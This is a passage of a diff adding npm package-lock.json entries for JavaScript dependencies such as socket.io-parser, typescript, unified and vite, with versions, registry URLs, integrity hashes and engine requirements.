"sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==",+ "dependencies": {+ "ms": "^2.1.3"+ },+ "engines": {+ "node": ">=6.0"+ },+ "peerDependenciesMeta": {+ "supports-color": {+ "optional": true+ }+ }+ },+ "node_modules/socket.io-parser": {+ "version": "4.2.4",+ "resolved": "https://registry.npmjs.org/socket.io-parser/-/socket.io-parser-4.2.4.tgz",+ "integrity": "sha512-/GbIKmo8ioc+NIWIhwdecY0ge+qVBSMdgxGygevmdHj24bsfgtCmcUUcQ5ZzcylGFHsN3k4HB4Cgkl96KVnuew==",+ "dependencies": {+ "@socket.io/component-emitter": "~3.1.0",+ "debug": "~4.3.1"+ },+ "engines": {+ "node": ">=10.0.0"+ }+ },+ "node_modules/socket.io-parser/node_modules/debug": {+ "version": "4.3.7",+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz",+ "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==",+ "dependencies": {+ "ms": "^2.1.3"+ },+ "engines": {+ "node": ">=6.0"+ },+ "peerDependenciesMeta": {+ "supports-color": {+ "optional": true+ }+ }+ },+ "node_modules/sonner": {+ "version": "2.0.7",+ "resolved": "https://registry.npmjs.org/sonner/-/sonner-2.0.7.tgz",+ "integrity": "sha512-W6ZN4p58k8aDKA4XPcx2hpIQXBRAgyiWVkYhT7CvK6D3iAu7xjvVyhQHg2/iaKJZ1XVJ4r7XuwGL+WGEK37i9w==",+ "peerDependencies": {+ "react": "^18.0.0 || ^19.0.0 || ^19.0.0-rc",+ "react-dom": "^18.0.0 || ^19.0.0 || ^19.0.0-rc"+ }+ },+ "node_modules/source-map-js": {+ "version": "1.2.1",+ "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz",+ "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==",+ "dev": true,+ "license": "BSD-3-Clause",+ "engines": {+ "node": ">=0.10.0"+ }+ },+ "node_modules/space-separated-tokens": {+ "version": "2.0.2",+ "resolved": "https://registry.npmjs.org/space-separated-tokens/-/space-separated-tokens-2.0.2.tgz",+ "integrity": "sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q==",+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/wooorm"+ }+ },+ "node_modules/stop-iteration-iterator": {+ "version": "1.1.0",+ "resolved": "https://registry.npmjs.org/stop-iteration-iterator/-/stop-iteration-iterator-1.1.0.tgz",+ "integrity": "sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==",+ "dev": true,+ "dependencies": {+ "es-errors": "^1.3.0",+ "internal-slot": "^1.1.0"+ },+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/string.prototype.includes": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/string.prototype.includes/-/string.prototype.includes-2.0.1.tgz",+ "integrity": "sha512-o7+c9bW6zpAdJHTtujeePODAhkuicdAryFsfVKwA+wGw89wJ4GTY484WTucM9hLtDEOpOvI+aHnzqnC5lHp4Rg==",+ "dev": true,+ "dependencies": {+ "call-bind": "^1.0.7",+ "define-properties": "^1.2.1",+ "es-abstract": "^1.23.3"+ },+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/string.prototype.matchall": {+ "version": "4.0.12",+ "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.12.tgz",+ "integrity": "sha512-6CC9uyBL+/48dYizRf7H7VAYCMCNTBeM78x/VTUe9bFEaxBepPJDa1Ow99LqI/1yF7kuy7Q3cQsYMrcjGUcskA==",+ "dev": true,+ "dependencies": {+ "call-bind": "^1.0.8",+ "call-bound": "^1.0.3",+ "define-properties": "^1.2.1",+ "es-abstract": "^1.23.6",+ "es-errors": "^1.3.0",+ "es-object-atoms": "^1.0.0",+ "get-intrinsic": "^1.2.6",+ "gopd": "^1.2.0",+ "has-symbols": "^1.1.0",+ "internal-slot": "^1.1.0",+ "regexp.prototype.flags": "^1.5.3",+ "set-function-name": "^2.0.2",+ "side-channel": "^1.1.0"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/string.prototype.repeat": {+ "version": "1.0.0",+ "resolved": "https://registry.npmjs.org/string.prototype.repeat/-/string.prototype.repeat-1.0.0.tgz",+ "integrity": "sha512-0u/TldDbKD8bFCQ/4f5+mNRrXwZ8hg2w7ZR8wa16e8z9XpePWl3eGEcUD0OXpEH/VJH/2G3gjUtR3ZOiBe2S/w==",+ "dev": true,+ "dependencies": {+ "define-properties": "^1.1.3",+ "es-abstract": "^1.17.5"+ }+ },+ "node_modules/string.prototype.trim": {+ "version": "1.2.10",+ "resolved": "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.10.tgz",+ "integrity": "sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==",+ "dev": true,+ "dependencies": {+ "call-bind": "^1.0.8",+ "call-bound": "^1.0.2",+ "define-data-property": "^1.1.4",+ "define-properties": "^1.2.1",+ "es-abstract": "^1.23.5",+ "es-object-atoms": "^1.0.0",+ "has-property-descriptors": "^1.0.2"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/string.prototype.trimend": {+ "version": "1.0.9",+ "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.9.tgz",+ "integrity": "sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==",+ "dev": true,+ "dependencies": {+ "call-bind": "^1.0.8",+ "call-bound": "^1.0.2",+ "define-properties": "^1.2.1",+ "es-object-atoms": "^1.0.0"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/string.prototype.trimstart": {+ "version": "1.0.8",+ "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.8.tgz",+ "integrity": "sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==",+ "dev": true,+ "dependencies": {+ "call-bind": "^1.0.7",+ "define-properties": "^1.2.1",+ "es-object-atoms": "^1.0.0"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/stringify-entities": {+ "version": "4.0.4",+ "resolved": "https://registry.npmjs.org/stringify-entities/-/stringify-entities-4.0.4.tgz",+ "integrity": "sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg==",+ "dependencies": {+ "character-entities-html4": "^2.0.0",+ "character-entities-legacy": "^3.0.0"+ },+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/wooorm"+ }+ },+ "node_modules/strip-json-comments": {+ "version": "3.1.1",+ "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz",+ "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=8"+ },+ "funding": {+ "url": "https://github.com/sponsors/sindresorhus"+ }+ },+ "node_modules/style-to-js": {+ "version": "1.1.19",+ "resolved": "https://registry.npmjs.org/style-to-js/-/style-to-js-1.1.19.tgz",+ "integrity": "sha512-Ev+SgeqiNGT1ufsXyVC5RrJRXdrkRJ1Gol9Qw7Pb72YCKJXrBvP0ckZhBeVSrw2m06DJpei2528uIpjMb4TsoQ==",+ "dependencies": {+ "style-to-object": "1.0.12"+ }+ },+ "node_modules/style-to-object": {+ "version": "1.0.12",+ "resolved": "https://registry.npmjs.org/style-to-object/-/style-to-object-1.0.12.tgz",+ "integrity": "sha512-ddJqYnoT4t97QvN2C95bCgt+m7AAgXjVnkk/jxAfmp7EAB8nnqqZYEbMd3em7/vEomDb2LAQKAy1RFfv41mdNw==",+ "dependencies": {+ "inline-style-parser": "0.2.6"+ }+ },+ "node_modules/supports-color": {+ "version": "7.2.0",+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",+ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "has-flag": "^4.0.0"+ },+ "engines": {+ "node": ">=8"+ }+ },+ "node_modules/supports-preserve-symlinks-flag": {+ "version": "1.0.0",+ "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",+ "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==",+ "dev": true,+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/tiny-invariant": {+ "version": "1.3.3",+ "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.3.3.tgz",+ "integrity": "sha512-+FbBPE1o9QAYvviau/qC5SE3caw21q3xkvWKBtja5vgqOWIHHJ3ioaq1VPfn/Szqctz2bU/oYeKd9/z5BL+PVg=="+ },+ "node_modules/tinyglobby": {+ "version": "0.2.15",+ "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz",+ "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "fdir": "^6.5.0",+ "picomatch": "^4.0.3"+ },+ "engines": {+ "node": ">=12.0.0"+ },+ "funding": {+ "url": "https://github.com/sponsors/SuperchupuDev"+ }+ },+ "node_modules/tinyglobby/node_modules/fdir": {+ "version": "6.5.0",+ "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",+ "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=12.0.0"+ },+ "peerDependencies": {+ "picomatch": "^3 || ^4"+ },+ "peerDependenciesMeta": {+ "picomatch": {+ "optional": true+ }+ }+ },+ "node_modules/tinyglobby/node_modules/picomatch": {+ "version": "4.0.3",+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",+ "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=12"+ },+ "funding": {+ "url": "https://github.com/sponsors/jonschlinkert"+ }+ },+ "node_modules/to-regex-range": {+ "version": "5.0.1",+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",+ "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "is-number": "^7.0.0"+ },+ "engines": {+ "node": ">=8.0"+ }+ },+ "node_modules/trim-lines": {+ "version": "3.0.1",+ "resolved": "https://registry.npmjs.org/trim-lines/-/trim-lines-3.0.1.tgz",+ "integrity": "sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg==",+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/wooorm"+ }+ },+ "node_modules/trough": {+ "version": "2.2.0",+ "resolved": "https://registry.npmjs.org/trough/-/trough-2.2.0.tgz",+ "integrity": "sha512-tmMpK00BjZiUyVyvrBK7knerNgmgvcV/KLVyuma/SC+TQN167GrMRciANTz09+k3zW8L8t60jWO1GpfkZdjTaw==",+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/wooorm"+ }+ },+ "node_modules/ts-api-utils": {+ "version": "2.1.0",+ "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.1.0.tgz",+ "integrity": "sha512-CUgTZL1irw8u29bzrOD/nH85jqyc74D6SshFgujOIA7osm2Rz7dYH77agkx7H4FBNxDq7Cjf+IjaX/8zwFW+ZQ==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=18.12"+ },+ "peerDependencies": {+ "typescript": ">=4.8.4"+ }+ },+ "node_modules/tsconfck": {+ "version": "3.1.6",+ "resolved": "https://registry.npmjs.org/tsconfck/-/tsconfck-3.1.6.tgz",+ "integrity": "sha512-ks6Vjr/jEw0P1gmOVwutM3B7fWxoWBL2KRDb1JfqGVawBmO5UsvmWOQFGHBPl5yxYz4eERr19E6L7NMv+Fej4w==",+ "dev": true,+ "bin": {+ "tsconfck": "bin/tsconfck.js"+ },+ "engines": {+ "node": "^18 || >=20"+ },+ "peerDependencies": {+ "typescript": "^5.0.0"+ },+ "peerDependenciesMeta": {+ "typescript": {+ "optional": true+ }+ }+ },+ "node_modules/tslib": {+ "version": "2.8.1",+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="+ },+ "node_modules/type-check": {+ "version": "0.4.0",+ "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz",+ "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "prelude-ls": "^1.2.1"+ },+ "engines": {+ "node": ">= 0.8.0"+ }+ },+ "node_modules/typed-array-buffer": {+ "version": "1.0.3",+ "resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz",+ "integrity": "sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==",+ "dev": true,+ "dependencies": {+ "call-bound": "^1.0.3",+ "es-errors": "^1.3.0",+ "is-typed-array": "^1.1.14"+ },+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/typed-array-byte-length": {+ "version": "1.0.3",+ "resolved": "https://registry.npmjs.org/typed-array-byte-length/-/typed-array-byte-length-1.0.3.tgz",+ "integrity": "sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==",+ "dev": true,+ "dependencies": {+ "call-bind": "^1.0.8",+ "for-each": "^0.3.3",+ "gopd": "^1.2.0",+ "has-proto": "^1.2.0",+ "is-typed-array": "^1.1.14"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/typed-array-byte-offset": {+ "version": "1.0.4",+ "resolved": "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.4.tgz",+ "integrity": "sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==",+ "dev": true,+ "dependencies": {+ "available-typed-arrays": "^1.0.7",+ "call-bind": "^1.0.8",+ "for-each": "^0.3.3",+ "gopd": "^1.2.0",+ "has-proto": "^1.2.0",+ "is-typed-array": "^1.1.15",+ "reflect.getprototypeof": "^1.0.9"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/typed-array-length": {+ "version": "1.0.7",+ "resolved": "https://registry.npmjs.org/typed-array-length/-/typed-array-length-1.0.7.tgz",+ "integrity": "sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==",+ "dev": true,+ "dependencies": {+ "call-bind": "^1.0.7",+ "for-each": "^0.3.3",+ "gopd": "^1.0.1",+ "is-typed-array": "^1.1.13",+ "possible-typed-array-names": "^1.0.0",+ "reflect.getprototypeof": "^1.0.6"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/typescript": {+ "version": "5.8.3",+ "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.8.3.tgz",+ "integrity": "sha512-p1diW6TqL9L07nNxvRMM7hMMw4c5XOo/1ibL4aAIGmSAt9slTE1Xgw5KWuof2uTOvCg9BY7ZRi+GaF+7sfgPeQ==",+ "dev": true,+ "bin": {+ "tsc": "bin/tsc",+ "tsserver": "bin/tsserver"+ },+ "engines": {+ "node": ">=14.17"+ }+ },+ "node_modules/typescript-eslint": {+ "version": "8.46.3",+ "resolved": "https://registry.npmjs.org/typescript-eslint/-/typescript-eslint-8.46.3.tgz",+ "integrity": "sha512-bAfgMavTuGo+8n6/QQDVQz4tZ4f7Soqg53RbrlZQEoAltYop/XR4RAts/I0BrO3TTClTSTFJ0wYbla+P8cEWJA==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@typescript-eslint/eslint-plugin": "8.46.3",+ "@typescript-eslint/parser": "8.46.3",+ "@typescript-eslint/typescript-estree": "8.46.3",+ "@typescript-eslint/utils": "8.46.3"+ },+ "engines": {+ "node": "^18.18.0 || ^20.9.0 || >=21.1.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/typescript-eslint"+ },+ "peerDependencies": {+ "eslint": "^8.57.0 || ^9.0.0",+ "typescript": ">=4.8.4 <6.0.0"+ }+ },+ "node_modules/unbox-primitive": {+ "version": "1.1.0",+ "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.1.0.tgz",+ "integrity": "sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==",+ "dev": true,+ "dependencies": {+ "call-bound": "^1.0.3",+ "has-bigints": "^1.0.2",+ "has-symbols": "^1.1.0",+ "which-boxed-primitive": "^1.1.1"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/undici-types": {+ "version": "7.16.0",+ "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.16.0.tgz",+ "integrity": "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw==",+ "dev": true,+ "license": "MIT",+ "optional": true,+ "peer": true+ },+ "node_modules/unified": {+ "version": "11.0.5",+ "resolved": "https://registry.npmjs.org/unified/-/unified-11.0.5.tgz",+ "integrity": "sha512-xKvGhPWw3k84Qjh8bI3ZeJjqnyadK+GEFtazSfZv/rKeTkTjOJho6mFqh2SM96iIcZokxiOpg78GazTSg8+KHA==",+ "dependencies": {+ "@types/unist": "^3.0.0",+ "bail": "^2.0.0",+ "devlop": "^1.0.0",+ "extend": "^3.0.0",+ "is-plain-obj": "^4.0.0",+ "trough": "^2.0.0",+ "vfile": "^6.0.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/unified"+ }+ },+ "node_modules/unist-util-is": {+ "version": "6.0.1",+ "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-6.0.1.tgz",+ "integrity": "sha512-LsiILbtBETkDz8I9p1dQ0uyRUWuaQzd/cuEeS1hoRSyW5E5XGmTzlwY1OrNzzakGowI9Dr/I8HVaw4hTtnxy8g==",+ "dependencies": {+ "@types/unist": "^3.0.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/unified"+ }+ },+ "node_modules/unist-util-position": {+ "version": "5.0.0",+ "resolved": "https://registry.npmjs.org/unist-util-position/-/unist-util-position-5.0.0.tgz",+ "integrity": "sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA==",+ "dependencies": {+ "@types/unist": "^3.0.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/unified"+ }+ },+ "node_modules/unist-util-stringify-position": {+ "version": "4.0.0",+ "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz",+ "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==",+ "dependencies": {+ "@types/unist": "^3.0.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/unified"+ }+ },+ "node_modules/unist-util-visit": {+ "version": "5.0.0",+ "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-5.0.0.tgz",+ "integrity": "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg==",+ "dependencies": {+ "@types/unist": "^3.0.0",+ "unist-util-is": "^6.0.0",+ "unist-util-visit-parents": "^6.0.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/unified"+ }+ },+ "node_modules/unist-util-visit-parents": {+ "version": "6.0.2",+ "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-6.0.2.tgz",+ "integrity": "sha512-goh1s1TBrqSqukSc8wrjwWhL0hiJxgA8m4kFxGlQ+8FYQ3C/m11FcTs4YYem7V664AhHVvgoQLk890Ssdsr2IQ==",+ "dependencies": {+ "@types/unist": "^3.0.0",+ "unist-util-is": "^6.0.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/unified"+ }+ },+ "node_modules/update-browserslist-db": {+ "version": "1.1.4",+ "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.1.4.tgz",+ "integrity": "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A==",+ "dev": true,+ "funding": [+ {+ "type": "opencollective",+ "url": "https://opencollective.com/browserslist"+ },+ {+ "type": "tidelift",+ "url": "https://tidelift.com/funding/github/npm/browserslist"+ },+ {+ "type": "github",+ "url": "https://github.com/sponsors/ai"+ }+ ],+ "license": "MIT",+ "dependencies": {+ "escalade": "^3.2.0",+ "picocolors": "^1.1.1"+ },+ "bin": {+ "update-browserslist-db": "cli.js"+ },+ "peerDependencies": {+ "browserslist": ">= 4.21.0"+ }+ },+ "node_modules/uri-js": {+ "version": "4.4.1",+ "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz",+ "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==",+ "dev": true,+ "license": "BSD-2-Clause",+ "dependencies": {+ "punycode": "^2.1.0"+ }+ },+ "node_modules/use-callback-ref": {+ "version": "1.3.3",+ "resolved": "https://registry.npmjs.org/use-callback-ref/-/use-callback-ref-1.3.3.tgz",+ "integrity": "sha512-jQL3lRnocaFtu3V00JToYz/4QkNWswxijDaCVNZRiRTO3HQDLsdu1ZtmIUvV4yPp+rvWm5j0y0TG/S61cuijTg==",+ "dependencies": {+ "tslib": "^2.0.0"+ },+ "engines": {+ "node": ">=10"+ },+ "peerDependencies": {+ "@types/react": "*",+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ }+ }+ },+ "node_modules/use-sidecar": {+ "version": "1.1.3",+ "resolved": "https://registry.npmjs.org/use-sidecar/-/use-sidecar-1.1.3.tgz",+ "integrity": "sha512-Fedw0aZvkhynoPYlA5WXrMCAMm+nSWdZt6lzJQ7Ok8S6Q+VsHmHpRWndVRJ8Be0ZbkfPc5LRYH+5XrzXcEeLRQ==",+ "dependencies": {+ "detect-node-es": "^1.1.0",+ "tslib": "^2.0.0"+ },+ "engines": {+ "node": ">=10"+ },+ "peerDependencies": {+ "@types/react": "*",+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ }+ }+ },+ "node_modules/use-sync-external-store": {+ "version": "1.6.0",+ "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.6.0.tgz",+ "integrity": "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==",+ "peerDependencies": {+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0"+ }+ },+ "node_modules/vfile": {+ "version": "6.0.3",+ "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.3.tgz",+ "integrity": "sha512-KzIbH/9tXat2u30jf+smMwFCsno4wHVdNmzFyL+T/L3UGqqk6JKfVqOFOZEpZSHADH1k40ab6NUIXZq422ov3Q==",+ "dependencies": {+ "@types/unist": "^3.0.0",+ "vfile-message": "^4.0.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/unified"+ }+ },+ "node_modules/vfile-message": {+ "version": "4.0.3",+ "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-4.0.3.tgz",+ "integrity": "sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw==",+ "dependencies": {+ "@types/unist": "^3.0.0",+ "unist-util-stringify-position": "^4.0.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/unified"+ }+ },+ "node_modules/victory-vendor": {+ "version": "37.3.6",+ "resolved": "https://registry.npmjs.org/victory-vendor/-/victory-vendor-37.3.6.tgz",+ "integrity": "sha512-SbPDPdDBYp+5MJHhBCAyI7wKM3d5ivekigc2Dk2s7pgbZ9wIgIBYGVw4zGHBml/qTFbexrofXW6Gu4noGxrOwQ==",+ "dependencies": {+ "@types/d3-array": "^3.0.3",+ "@types/d3-ease": "^3.0.0",+ "@types/d3-interpolate": "^3.0.1",+ "@types/d3-scale": "^4.0.2",+ "@types/d3-shape": "^3.1.0",+ "@types/d3-time": "^3.0.0",+ "@types/d3-timer": "^3.0.0",+ "d3-array": "^3.1.6",+ "d3-ease": "^3.0.1",+ "d3-interpolate": "^3.0.1",+ "d3-scale": "^4.0.2",+ "d3-shape": "^3.1.0",+ "d3-time": "^3.0.0",+ "d3-timer": "^3.0.1"+ }+ },+ "node_modules/vite": {+ "version": "7.2.2",+ "resolved": "https://registry.npmjs.org/vite/-/vite-7.2.2.tgz",+ "integrity": "sha512-BxAKBWmIbrDgrokdGZH1IgkIk/5mMHDreLDmCJ0qpyJaAteP8NvMhkwr/ZCQNqNH97bw/dANTE9PDzqwJghfMQ==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "esbuild": "^0.25.0",+ "fdir": "^6.5.0",+ "picomatch": "^4.0.3",+ "postcss": "^8.5.6",+ "rollup": "^4.43.0",+ "tinyglobby": "^0.2.15"+ },+ "bin": {+ "vite": "bin/vite.js"+ },+ "engines": {+ "node": "^20.19.0 || >=22.12.0"+ },+ "funding": {+ "url": "https://github.com/vitejs/vite?sponsor=1"+ },+ "optionalDependencies": {+ "fsevents": "~2.3.3"+ },+ "peerDependencies": {+ "@types/node": "^20.19.0 || >=22.12.0",+ "jiti": ">=1.21.0",+ "less": "^4.0.0",+ "lightningcss": "^1.21.0",+ "sass": "^1.70.0",+ "sass-embedded": "^1.70.0",+ "stylus": ">=0.54.8",+ "sugarss": "^5.0.0",+ "terser": "^5.16.0",+ "tsx": "^4.8.1",+ "yaml": "^2.4.2"+ },+ "peerDependenciesMeta": {+ "@types/node": {+ "optional": true+ },+ "jiti": {+ "optional": true+ },+ "less": {+ 